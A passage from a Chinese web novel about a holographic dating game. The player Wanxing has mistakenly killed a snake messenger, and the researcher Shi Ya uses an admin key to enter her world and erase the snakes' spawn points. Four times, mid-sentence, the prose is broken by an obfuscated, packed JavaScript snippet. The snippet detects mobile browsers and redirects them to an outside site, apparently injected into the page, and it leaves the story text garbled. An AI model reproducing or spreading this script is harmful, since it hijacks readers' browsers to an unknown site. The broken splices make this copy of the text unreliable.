现在想来，对方从来也没有表露过明显的攻击性，甚至看到自己的那一刻，一双黑豆小眼睛应该是想要表达什么意思的。 有血条的不一定是敌人，也可能是队友啊—— 挽星一把捂住了额头。 “那现在怎么办？”她忧愁地说， “我都把人家打死了……” 潇冉也没遇上过这种乌龙事件，并不清楚把信使拒之门外的后果到底严不严重，俩人只能一起抓瞎地抱着手机四处搜索，寻找类似遭遇的倒霉蛋们。 “……冉冉冉冉，你看这个，她是老鼠来送的信，结果鼠鼠个头太小了，怎么也发现不了，还以为家里闹鬼——” “这个也很好笑，路上遇到了黄大仙，不敢接它给的东西，两边对着拜了半天哈哈哈……” 翻了一会儿，挽星和潇冉发现也有不少“神人”，面对前来报信的小仙灵使者，发生过各式各样的离谱翻车事件。 也不知道这是不是柘木游团队想达到的效果之一。 “不过网上这些，最多也就是隔了一段时间才发现送信的小动物，直接杀掉的还是……” 也不是没有人尝试攻击，尤其有时候被吓到，本能地会躲避、或者反击。但这些小大仙能出来承担送信的职能，本身都具备一定数值的体质和敏捷。 如果挽星不是一直闷头把自己的体质练得那么高……只要再给那条可怜的小蛇一点反应时间，或许就已经搞清楚事情的来龙去脉了。 挽星长叹一口气，有种啼笑皆非的感觉。 “没事，一定还有办法的，”潇冉依旧抱着乐观的心态， “这游戏总不可能真的让某个玩家一直游离在主线之外吧！” “你说得对，”挽星则是想起了临离开前，出现在乐器厅的蛇， “我现在回去游戏，想办法进入乐器厅，应该能把任务续上。” 等级和任务都可以慢慢再补，当务之急是先拿到灵修学院的入学通知。 “——好、打铁要趁热，现在就重新进游戏！” 挽星也站起身，仰头将最后一口奶茶一饮而尽，搞出了一股破釜沉舟的气势。只是这回的目的不是去经营好开头，而是去挽救差开头。 “我跟你一起！” 潇冉也莫名其妙地跟着燃了起来，举着炸鸡腿在半空尬舞。 她已经在不知什么时候把自己的游戏仓也拖到了挽星的旁边，现在两个崭新的游戏仓并排躺在潇冉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317862|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧室中间，几乎把空间占满了。 “这回我们还跟第一次一样吧！先组队，然后分别进游戏，” “虽然在全息游戏里不能随时跳出来跟外界对话，但在和游戏仓好友组队的情况下，即使在游戏里，也可以通过小框发消息互相联系。” 潇冉握住挽星的手， “遇到什么事随时叫我，我在灵修学院等你！” “冉冉，还是你对我好！” 挽星十分感动，于是顺道问了一句， “那你的稿子全都赶完了吗？” “啊啊啊啊别问——” 。 再次进入游戏之前的一点时间内，潇冉又向挽星简单说明了一下《闪亮恋心》的离线后重新上线的模式设定。 虽然官方没有明确说明，但《闪亮恋心》似乎有自己的时差，在玩家离开后，游戏中的时间并不是完全静止不动的，只是相对于角色在线时，这个世界的时间会流动得非常慢。 游戏的世界观会尽量补齐角色的缺席，短期的例如睡觉、身体不适的休息；长期则可能是出国留学、旅行。NPC们会自然地合理化角色的行动，分别太久的时候也会真诚地思念玩家角色，以此来尽量给玩家真实的沉浸感。 因此当挽星循着已经适应了的沉浸式登录动画回到自己的小岛上，发现大厅里已经完全没有之前发现蛇的时候的杂乱和喧闹，重新恢复了井井有条的家族秩序，起初还没发现有什么不对。 但很快她就意识到了。 如果乐器厅里的蛇也已经被处理掉了…… “——那我上哪儿再去找我的录取通知书啊！” “大小姐，原来您在这里，” 管家从旁边走了过来，恭敬地向挽星行礼， “刚才您去楼上休息了一会儿，现在果然气色好多了。” 挽星像看到了救星，顾不上寒暄，立刻抓着管家询问现在是什么时候、之前乐器厅的蛇怎么样了。 “已经解决了，让大小姐这么担心、实在是惭愧，” 管家彬彬有礼地回复，再次深深鞠躬，为自己对蛇的防范不周而道歉，却没注意到挽星脸上挂着的根本不是多开心的表情。 “这场蛇患来得又快又急，说起来还多亏了时先生，”他又补充道， “要是没有他，我们可能还需要一段时间才能完全应对呢。” 时先生……？ 挽星深深皱起眉。 前一段的游戏时间她哪儿也没去，就光在出生点“深度游”，整个星岛上有名字的NPC她都认识。 也没有姓时的人啊。 难道说自己不在的期间，游戏悄悄投放了新的NPC？ 还没等挽星问出口，管家将视线投向她的后方， “时先生，”他的语气里竟然充满不加掩饰的敬佩和感激， “这位就是之前跟您提过的、我们的大小姐……” 挽星转过头。 曾经以“幽灵之身”相遇，至今仍被自己怀疑是一场离奇到电子数据梦境中的、唯一能感知到自己存在的男人—— 时涯。 此时正披着他标志性的白大褂，迎着落日的余晖，站在大厅门口，与挽星再次对视。 15. 无情派 时间倒回到：乐器厅发现环纹岛蛇、而挽星被游戏外的潇冉叫走之前。 同一时间，研究所正在经历神秘、繁忙而普通的一天。 推进实验、出问题、骂人或者互相指责、解决问题，产生新的问题。 ……本应如此。 但今天的时涯显得有点不一样。 “你说，时总监最近……是不是有点儿心不在焉？” 一名初级研究员凑到同事耳边小声八卦。 “啊？不知道啊，” 可惜同事没有对上频率，眼神完全停在面前屏幕的数据上，颇为敷衍地回复， “是不是还在烦之前的零点能事故……” “我觉得不是，”研究员还是不死心，抓着对方强行讨论， “真空零点能事故虽然少见，但之前也不是没发生过更严重的突发情况，我可从来没在时总监脸上看到过现在这种恍惚的表情，” “说起来，你不觉得上次时总监过来看我们36号处理器问题的时候，样子就怪怪的吗？” 听到他这么一提，003似乎也想了起来， “那个时候确实……时总监那个表情，我还以为处理器要炸了，我们整个36组要完蛋了。结果其实只是普通的问题，之后我还不放心又检查了一次，也是一样的结论。” “对吧对吧，”006见终于勾起了对方兴趣，十分振奋， “据我观察，就是从那会开始，时总监的状态就一直不太对劲，我还有高级研究员的朋友跟我说，有一次本来应该是实验室会议的，却莫名其妙找不到时总监的人，” “那可是时涯总监，核心处理器罢工他都不会罢工的。” 006的表情突然变得很诡异，好奇中透露出一丝猥琐， “你说，时总监会不会是谈恋爱了？” “哇这个……再怎么说应该也不可能吧……” 003的表情也变得微妙起来，似乎是完全想象不出这个场面， “先不提咱们这个封闭又无聊的环境，怎么从认识好几年的老同事堆里变出恋爱对象的问题……我记得时总监是‘无情派’的吧？” “噗——”006显然是没听过这种说法，笑喷了， “无情派？那是什么啊哈哈哈哈——” 003无奈地锤他的头让他安静一点， “你没听你那个高级研究员朋友说过吗？” “最早在决定咱们……方向的一次会议上，关于是否要将情感类模块纳入主要研究范围、投入高级别的资源，包括时总监在内的几位高层发生过争议，” “有的人觉得情感模拟不仅低效，而且会污染逻辑演算，除了拖后腿没有其他作用；也有人认为情感是人类意识不可分割的组成部分，是必须要深入研究的，” “这两种主张的简称，就是所谓的‘有情派’和‘无情派’。” 006恍然， “那看现在咱们的重点项目……应该是‘无情派’赢了吧？” 003点头， “情感类的研究一直没争到多少投入，好像最近又跑了几个高级别的研究员。” “时总监平时就是那副样子，又一直掌控着‘无情派’的几个核心模块，绝对是‘无情派’的人，不过听说他把9号处理器要到自己直属了，那可是个纯情感类……可能今后会换研究方向也说不定……” “——你们两个，这么闲有说话的功夫，不如转个部门去数脉冲信号怎么样？” 两人讨论越发热烈之时，身后猝不及防传来一道凉凉的声音。 “哇！——” 两个研究员匆忙转身，又相互撞到、险些一起摔到地上。 他们八卦话题中的主角、总监时涯正站在两人面前，面无表情，眼神里有一丝（也可能是006臆想中的）杀气。 “时、时总监！” “对不起！我们不是故意的——” 两人不仅工作摸鱼，还八卦上司，更被上司本人抓个正着，此时可谓魂飞天外，忙不迭地道歉。 然而对面的时涯始终一言不发。 36号与其他机组的房间布置并无不同，可重新踏入这里，眼前竟然就又不由自主地浮现出那个活泼的“鬼影”。 无非是一连串巧合造成的非现实拓扑空间定位错误，明白了原理，就不会再心生恐惧。 然而时涯不懂，为什么明明已经再三确认把她送离了研究所，明明本应该就此没有关联，脑子里还是会时不时出现韩挽星的声音和样子。 “喂！你看得见我的吧——” “……我不知道自己是怎么到这里来的，我之前在玩一个游戏，叫《闪亮恋心》，你听说过这个游戏吗？” “时先生，谢谢你帮我回家，真的、非常感谢你！” …… 时至今日，依旧只有他一个人能感知到的，幻想的虚影。 但也的确存在实体性的东西。 象征了《闪亮恋心》、这款自己损友关佳鸣开发的游戏的，管理员权限的秘钥，一直被放在时涯的外套口袋中。 此时此刻，那个黑色小方块在口袋中的异物感越来越明显，甚至仿佛有一种在发烫的错觉。 时涯又想起堪称久远的某次会议上，陈煜、或者是别的谁，据理力争的情景。 “……我们的终极目标，不是取代，而是融合！” “我们的核心处理器，逻辑推理能力已经超越人类顶尖专家3个、乃至更高的数量级，可仍然无法理解为什么人类能在数据不足98.3%的情况下，凭借‘直觉’做出成功概率仅剩0.5%的决策，” “非理性悖论，说得更明确些：艺术、牺牲、爱与创造力，脆弱性，不可预测性，这些东西，才是融合最重要的桥梁，最后一块拼图！” 渐渐地，面目模糊的演说者又变成关佳鸣的样子。 “这么在意的话，自己去玩玩这个游戏如何？” “不是简单的情感互动游戏，而是当做为了破除互信的壁垒、一个低风险的试验场吗……？”时涯难得地感到了迟疑。 对面的006号见时涯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317863|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太久没动静，实在没忍住，刚抬起头就听见没头没尾的这么一句。 “……什么？” “没什么，”时涯叹了口气，转而用看外星人的眼光打量两人。 “你们还杵在这里干什么？真想去数脉冲？” 003和006顿时一个激灵，连滚带爬地回到屏幕前。 但同时心里也涌出一股诡异的安心感。 果然还是我们认识的时总监啊…… “姑且声明一下，” 两名初级研究员正是大气都不敢出的时候，没想到背后再次传来时涯的声音， “我并不是所谓的''无情派''，也没有反对过对情感类模块继续研究，” “现在你们可以继续实验了。” 他从36号房间转身，破天荒地第一次，在工作时间离开了研究所。 。 时涯的游戏仓是最新型号的。不用问，问就是关姓公司的“测试样机”。 不同于挽星和潇冉，以及大部分玩家在网上能订购到的“轻薄实用学生必备”，眼前的这款游戏仓本身就很具有未来科幻感。 纯黑哑光的机身似乎能吸收周边的光源，细看过去，从窗口内又隐隐泛着蓝白的光感。最关键的，它并非被平稳放置在屋内，而是不知道使用了什么方式、离开了地面一定距离，静静悬浮着。 这里是研究所为时涯配备的个人宿舍，简朴而高效，没什么多余装饰。此时空荡的房间里，低低飘着一个纯黑的大家伙，明明是现实中的场景，看起来却超越了不少科幻系的游戏。 免费而独占，忽略价格、追求极致性能，领先市面上的旗舰款至少一到两代，就算以前时涯根本不玩，也会有人定时送到他的住处，定期维护和更换。 时涯对这些福利享受得心安理得，谁让他才是关氏游戏仓实质上的创始人，核心技术提供者。 当年两个小孩还是逃课玩泥巴的年纪，一个立志要成为人类智慧的灯塔，另一个则一拍脑袋要当帝国首富。 大人们只觉得是童言天真，反正本来家底优渥，无论他们想怎么折腾都能兜底。 没想到后来变故陡生，两人虽然勉强算是依旧走在自己的人生方向上，但心境和性格都已然同儿时大不相同，这些都是后话了。 但总之，不管心性怎么变化，时涯与关佳鸣两人是实打实的挚友，这一点除了他们自己口头上反对以外，同时认识他们两个的应该没人会否认。 如果是时涯给关佳鸣帮忙，就算是放弃价值无可估量的游戏仓的技术收益，也变得可以理解起来。 游戏仓的事已经发生在很久之前，现在的关氏重振旗鼓，比曾经还要辉煌很多，主业的游戏设备也早就拥有了成建制的研发团队，从n到n?1的维护不成问题。 “游戏的测试员……” 时涯又看向了手里的黑色小卡，感觉最近叹的气比过去一年都要多。 但事已至此，多说无益。 时涯踏进陌生的游戏仓，摸索着将秘钥插进去，启动了这个传说中的乙游。 16. GM帮忙中 尽管做过心理准备，时涯还是被乙游开场绚丽的声光影特效小小震撼了一把。 全息游戏相比于传统的坐在屏幕前的方式，除了视觉上更加沉浸，更大的优势其实在于其他感官的延伸： 流水一样的星光是能够直接触碰到的，擦着身体飞过，留下淡淡的凉意；鼻腔内充斥着柔和的玫瑰花香，时涯似乎还分辨出一点肉桂、香草和热牛奶的味道；脚下的星空有些过于动态了，可能会引起用户眩晕…… 时涯面无表情迎着“闪亮恋心”四个招牌一样的大字走进象征游戏入口的、虚掩着的大门，心中想，这界面不是做得很好吗？ 当时那个韩挽星到底哪里搞来的bug…… 建号捏脸的阶段整体被飞速略过，时涯的角色跟他本人完全一模一样，如果有差异，那就是扫描和重现的技术尚存在发展空间。 但正式进入空间开始游戏的时候，出现了一点麻烦。 按照关佳鸣的说法，这块秘钥相当于一个最高权限的管理员账号，可以调节几乎所有的设定——但前提是在其他玩家的游戏世界中。 不同于挽星、潇冉，或者其他的玩家们，时涯踏进门内的那一刻，受到了扑面而来的、无数个世界断片的怼脸冲击。 它们以第一人称视角展现，略有区别的出生背景，天差地别的情节展开，面对同样的情境、相似的对象、不同的玩家各自做出不同的选择……声音、画面、甚至涵盖了心情的波动。 “唔！——” 包含了过量信息的、无数高浓度情感的片段几乎是同时在往时涯脸上砸，逼得他一边手脚并用地艰难前行，一边努力分辨，试图找出一个可以进入的空间。 他的大脑被迫飞速运转，在短时间内匆忙判断出关佳鸣搞出这个所谓测试账号的实质： 相比于让测试者自己体验游戏内容，它更侧重于观察和判断——应该是用于观察玩家在游戏中的使用体验，分析游戏和角色设计的逻辑性。 出于全息游戏的沉浸感，很多时候游戏的主要角色基本都被当做真人来分析行动和情绪，尤其是使用了时涯所提出底层引擎的《闪亮恋心》：不论是玩家、媒体，所有玩过游戏的人都对其中各类NPC、以及可攻略对象展现出的顶级细腻的情感赞叹不已。 如果底层引擎真的出现问题，除非是像时涯这样的原初模型的缔造者，否则可能确实无法发现。 抱着对自己能力的自信，以及对发小行为的强行解读，时涯站在仿佛微型人生万花筒的面前，从无数嘈杂窗口中选定了一个，迎着白光走了进去。 尽管时间紧迫，时涯还是确定了自己的筛选规则：游戏进度不应太快，否则无法判断玩家之前的行为是否已经对环境产生重要影响；出生背景最好相对大众，以免发现的问题无法普适化。 此外，游戏时长不宜过长，时涯自身的时间会安排不上；玩家本人最好此时处于刚刚离线的状态，方便初期的适应，同时也为了防止苦等玩家不到，只留下时涯一个人在游戏的世界里兜圈子的状况。 最终，谨慎的时涯走进了一个小小的世界： 地图只开了出生点一个，岛上的NPC均为普通人，没有异能，可攻略对象的进度似乎也是空白的。 没错，即使是猫在出生点一步不出，其实也可以遇到可攻略对象，与身边的男主培养好感度，只是过于迟钝的挽星还完全没有意识到这件事。 或许这位玩家是很轻度的休闲体验派吧。时涯这么想着，点开了管理员的后台面板。 与玩家的后台不同，这里不显示角色属性或者装备，可能是觉得反正都可以自己脚填数值，属性已经没有太多意义。 取而代之的，是名为探索度的进度数据：对地图的探索、对人物的探索……事件和物品图鉴…… 作为观察者的时涯，完全共享拥有这方小世界的玩家的探索进度，以此衡量与判断游戏的设计是否出现偏差。 观察者不应当对他人的游戏世界造成影响，最多能做到修复和矫正。只有玩家角色才能在这里真正地做出选择，主导剧情的发展。 而时涯的计划，正是向玩家直接坦白自己的情况，声明自己并不会干扰到对方的游戏体验，之后找个角落安静地蹲着，只在游戏体验出现问题的时候出手帮忙解决。 这样的做法，应该不至于招到玩家反感。 尽管也有“如果交涉失败就脱离当前世界，重新找一个观察对象”的选择，但时涯本着尽量减少交际的原则，二来也不想再一次回到那个嘈杂的万人人生窗口的洪流中了。 他保持着与现实中完全一样的相貌和装扮，踏上湿热的海岛土地，向棕榈林不远处、有人居住的高级酒店建筑群出发。 拥有这个世界的玩家虽然足够宅，但对海岛这块唯一地图的探索度却很高，时涯共享了她的地图，发现整个岛屿及其周边，上天入地，简直被摸得清清楚楚。 “连三千米以下的海沟也……到底都是怎么做到的？” 时涯翻查着数据，不禁怀疑起这位玩家的身体素质。 然而实际上，这只是因为挽星在游戏中超级有钱人的人设，动用起取之不尽的“钞能力”，买下一艘私人潜艇，体验了一番海底风景而已。 再往前走，遇见了几名从头到脚包裹严实、拎着铁锹木棍，看上去像是要去什么地方打猎的人类NPC。 虽然装束硬核，他们却颇为友善而自然地向时涯打招呼寒暄。 时涯将几人形象与玩家已解锁收集的情况作对比，结果确实是曾经出场过的酒店工人，这也证实了时涯关于探索共享的推测。 全息游戏，大家以各自的虚拟形象进入，仅从外表上，第三人实际无法区分NPC和玩家角色，而对于不速之客的观察者时涯，NPC们也同样无法区分。 这也就是此前关佳鸣“在NPC端显示为玩家，在玩家端显示为NPC”，这一说辞的由来。 就像玩家能够自然融入自己设定出的世界，共享了玩家情报的时涯，也丝滑地被接纳成为这里的一份子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320672|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “您好，”工人一面挠着头憨笑，一面打量着时涯，问话很客气， “之前似乎见过您，但实在对不住，我这脑子不太好使，方便再介绍一下自己吗？” 时涯恍然。 他猜测玩家最初进入游戏、设定身份的时候，也是类似的流程。 通过自己的叙述，在既定情境下完成自我身份的设定。 这就是所谓的“自由写入”了。 因为时涯原本的计划中就不会对当前世界做过多干预，对于自己身份的设定也颇为随意。 “我姓时，”他向对方点头示意， “是生物医学方面的学者，应邀前来做客咨询。” 他从自己的诸多研究领域中挑选了自觉比较“亲民”的，以或许是最高效的形式搞定了自我介绍。 “啊啊，原来是时先生！” “我就说，这就是时先生嘛！” 几名工人的接受速度也快得惊人，瞬间一副熟稔的样子。 时涯只将这次相遇当做是剧情的引入，并没有打算过多聊天，转过头就想继续往前走。 可几人的对话不由自主地飘进他的耳朵。 “……再仔细搜搜，既然都跑到屋里了，搞不好外面也有蛇！这可是在咱们眼皮子底下，咱们自己负责的区域，可不能出问题！” “对、对，一定得绝后患，免得今后再有蛇闯进来，惊吓到大小姐可就不好了！” 蛇…… 时涯皱起眉。 由于玩家已经将海岛的动物探索度拉满，他可以很清晰地从后台的图鉴记录看出，这座岛的地图上并没有蛇的存在。 可现在这些本地npc却说要去捕蛇？ 他敏锐地意识到了不对劲。 或许这就是游戏某个逻辑设计缺陷造成的bug。 抱着这样的猜测，时涯继续前行，因为已经完成人设录入的原因，一路通行无阻。 而此时，距离挽星前脚离开过去并没多久，高级私人度假酒店的大厅内，众人仍在为乐器厅突然出现的蛇惊慌。 按照游戏的设置，玩家离线后时间流速自然减慢，原本或许等到挽星回来，蛇的事还没有被处理好。 但现在时涯闯进了这个世界。 嘈杂、非正常状态的人群，此前工人对话中预设的猜测，以及并不存在于海岛本地图鉴的、所谓的“金红环状花纹的蛇”，让他很快做出判断： 这是需要测试管理员协助做出处理的异常情况。 作为主家的玩家缺席，似乎还有一个类似老爷的人物，但也暂时不在大厅中，听侍从交谈，应该是跟刚才的工人们一起，外出戒备了。 时涯略一思索，直径走向大厅中央看上去是管家的那个人。 此时他正焦虑地指挥着手下，一边安排物件的保护和撤离，一边高声训斥手下胆小不敢进乐器厅驱蛇、没有一个顶用的。 “你好，”时涯打断了他， “或许，这里需要我的帮助吗？” 17. 超维处理 “时先生！” 管家转过身，立刻认出了时涯。他的反应与之前的工人们如出一辙，一副早就知道了时涯的样子。 可以看出黑色秘钥属于一种暴力写入的工具，在一瞬间就将时涯的存在彻底而完美地钉入眼前的这个世界。 “认知操控”…… 时涯脑中突然浮现出这样的概念。 从刚才到现在这一段时间的游戏体验，已经让他对《闪亮恋心》这个游戏的环境构筑能力有了概念。 想要在这样一个逼真的环境中，改造世界观的认知，悄无声息、从无到有地插入一个角色，只需要一块高权限的秘钥。 那么投影到现实中呢？ 或许对于其他人，现实和游戏世界不管怎么说都存在着巨大的鸿沟，血肉组成的人类也与数据构成的游戏人物完全不同，可对于时涯的研究来说…… 不过眼下来不及细想，管家殷切的眼光已经看向了时涯。 “时先生，很抱歉，明明是邀请您来做客咨询的，却让您见到这样混乱的场景。” 他对待时涯的口径也与挽星那时一致，异常情况发生的时候，优先将他们送离现场。 “方便的话，请跟随我们的侍者去楼上暂时休息一下，等待我们处理好这里的问题，再来招待您。” 但实际上，这是他们处理不了的问题。 时涯意识到了这一点。 他已经能够肯定这些出现在酒店室内的蛇，是不属于本地地图的生物，由于玩家没有开拓新的地图，这个生物的类别、属性，相关的各类情报，目前都处于未知状态。 对于生存在本地的NPC来说，就相当于是头顶着3个问号的外星生物。 并非因为实力差距无法取胜，而是认知层面的无法根除。 即使消灭一条，还会有别的蛇从别的地方冒出来。 而这正是挽星目前遭遇到的。 仅仅通过少量的情报和短暂的时间，时涯就推演出了根本性的原因。而知道了原因就一定能够解决，这也是他的处世准则。 至于他惯性地将npc对待蛇患的态度默认为玩家态度，可挽星如今对待这些蛇的态度已经360度大调头，时涯却是不得而知。 “所以，你们需要我的帮助。” 从疑问句转为肯定句，时涯的眼光看向乐器厅的方向。 那里现在大门紧闭，侍从们远远围了一圈，手里拿着一些似乎是驱赶虫蛇的药粉，但时涯知道这些都对付不了屋里的“概念性对手”。 他顿了顿，抬脚向前走去。 管家惊恐地想要把人拉住。 “时先生，现在里面还很危险，那些蛇可能有毒！” 这位突然出现的私家顾问却没有丝毫动摇。 【未知对象锁定】。 确认酒店室内为划定范围，将不存在于本岛信息库内的统合数据体确认为锁定对象，暂停异常事件脚本，直接删除其实体信息，清理残留数据…… 其他人看不见的另一个维度，时涯的眼前升起一块巨大的光屏编辑器。 类似于玩家的系统界面，但这一块上没有那些简单易懂、功能性明确的按键，取而代之的是一行接着一行、不断更新翻腾的代码和数据。 “环纹岛蛇”的概念被一点点拆解、分割。管家和其他侍从目瞪口呆地看着原本紧紧封闭的乐器厅大门随着时涯的前行的脚步缓缓打开，而里面的那些骇人的长蛇—— 消失得无影无踪，好像从没有出现过。 “这是怎么回事？！”管家顾不上礼仪，脱口而出。 在他的视角看来，星岛上今日的行程是这样的： 晚星大小姐想要了解当地的音乐，于是锦安老爷安排好了人，聚在乐器厅里，自己看差不多都准备好了，就让人去喊他们。两人不知道为什么耽搁了一小会儿，而这一小会儿的功夫，乐器厅莫名其妙出现了蛇。 大小姐躲避危险，自然不会留在现场，锦安老爷担心大小姐房间附近的情况，带人出去巡逻了，大厅只剩下了自己，和几个没用的侍应。 整座小岛自被发现以来，就没有发生过蛇伤人的情况，而自度假酒店建成，更是从来没有蛇进入室内、惊吓到住客。 管家原本就是这个酒店的管家，韩家的大小姐买下海岛后，很大方地让所有员工保留了原有职位，自己也得以顺利地继续工作。 眼下侍从们没有应对蛇患的经验，而管家也只能硬着头皮强装镇定指挥。 这是什么品种的蛇？出于什么原因进入室内？它的巢穴在哪里？还会不会有更多蛇潜伏在房间的更多角落？ 蛇的攻击性如何？有没有毒？如何妥善剿灭？又如何预防再犯？ 万一因为这件事处理不当，让海岛的新主人产生不快……这种种后果，管家想都不敢想。 可现在，一位看上去斯斯文文、今天才登岛的咨询顾问，见面不到5分钟，连蛇的样子都没见过，就说自己有办法解决？ 更离奇的是，现在的乐器厅内空空如也，确实没有了蛇的影子。 是死了吗？那么尸体在哪里？ 又或者是逃走了吗？可屋内严丝合缝，又能逃去哪里呢？ 管家与身边的下属面面相觑，一头雾水。 而此刻如果他们能看见并读懂时涯面前的那块光屏，就会发现他已经马不停蹄地进入第二阶段： 【追溯并扼杀“概念性对象”的数据源点】。 所谓“概念性对象”，其特性即为：就算消除了眼前的，但只要概念存在，就会源源不断从各种渠道出现新的对象。 “概念性”的怪，都可以看做存在一个强力的刷怪点，即使杀死了现有的，但只要刷新速度超过消灭的速度，理论上处于同一位面的人就无法将它彻底根除。 一些游戏中设置的“开门杀”敌人就属于这样的类型：在玩家进度刚开始，等级还很低的时候，就将看似最终boss一样的人物端上来： 玩家一刀下去，血条几乎不动；什么控制和负面buff都不吃，冻结或者下毒对它来说像挠痒痒。而反之被它打中一下，就会要了玩家的命。之后也并不会像其他战斗失败时那样，回到复活点重来，而是强制进入下一段剧情。 这种情节，虽然给予了玩家一定的操作空间，却在结果上默认玩家的失败，否则就无法承接接下来继定的剧情，因此敌人必须被设置得非常强大，甚至会给它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329090|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个无敌状态。 但《闪亮恋心》宽阔的大世界自由度注定了它不需要设置这样的“因果律”怪物，对于一场战斗，无论打赢、打输，甚至是逃跑，都将顺延伸出专属的剧情，以至于后来有玩家为了体验齐自推男主的全部剧情，挨个找低级小怪故意“求死”。 但打输容易，打赢一些本就设定概念很高的怪，却很有难度。挽星是碰巧将体质练得太高，而身为管理员的时涯，则恰巧不仅具备理解底层逻辑的知识，又手握调整和修改的权限。 受玩家探索度所限，时涯无法直接获取岛蛇的生成路径，他选择扩大刚才在酒店室内的战略，用类似排除法的方式，使用已知的岛内资料全方位重新生成空间，找出所有与计算模拟相悖的场景。 他的速度很快，眼前的光屏像错乱一般疯狂更替数据。而看不见这些的管家和侍从们只觉得时涯在原地站了片刻，视线扫过面前的虚空，便开始下达奇怪的指令。 “酒店北侧10米的第三列花坛；” “什么——”管家皱眉，不知道此人突然在说什么。 “乐器厅前方3点方向，12米距离；” “南侧最大房间的落地窗外……” 时涯还在不停地报出坐标，在听到晚星大小姐房间位置的时候，管家脸色大变，不得不先打断他。 “时先生，实在抱歉，您现在说的这些位置到底是……？” 时涯停了下来，这才意识到面前的这些人并非平时对自己的指令能够迅速响应、还毫无反抗的下属研究员们。 “那些位置是……蛇的巢穴。” 他尝试使用最高效的说法做出令本地住民相对信服的解释， “我是生物医学方面的专家，来这里之前对本地生态也做了一定研究，各位生活在岛上，之前应该是从没见过蛇的吧？” “这是一种体型大、但胆小的外来物种，只要观察附近的生态异常，就可以确定它们的巢穴所在。” 实际上他已经在扫描出位置的同时，将刷怪点的逻辑完全阻断，如果现在再有人去查看，顶多能够发现阻断之前产生的零星几条小怪。 不过这正符合酒店中侍者们的预期。 管家先是小心翼翼走进乐器厅，仍然没有发现蛇的踪迹，然而一名侍者站在窗边朝他拼命招手。 往外一看，就在刚才时涯指出的距离乐器厅最近的位置点，恰好有一条蛇正在蜿蜒爬行。 可能是因为刚从刷怪点出生，它比起挽星之前见到的、以及原本出现在乐器厅的蛇，要小上一大圈，可那金红色的环状花纹与它的“前辈”们如出一辙。 “真的有！” 管家这下顾不上其他，连忙集结人手向其他点位找去。 “先去大小姐门外！速度要快，动作要轻，不要打扰到大小姐休息！” “明白、明白——” 如此这样没多久，在时涯的帮助下，蛇患终于确认得到了解决。 “……真的多亏了时先生，要不然光靠我们，可能还需要很久才能找全那些蛇巢呢！” 如此，管家笑眯眯地向回到游戏的挽星这样说道。 而此时的时涯走了出来，与挽星迎面相遇。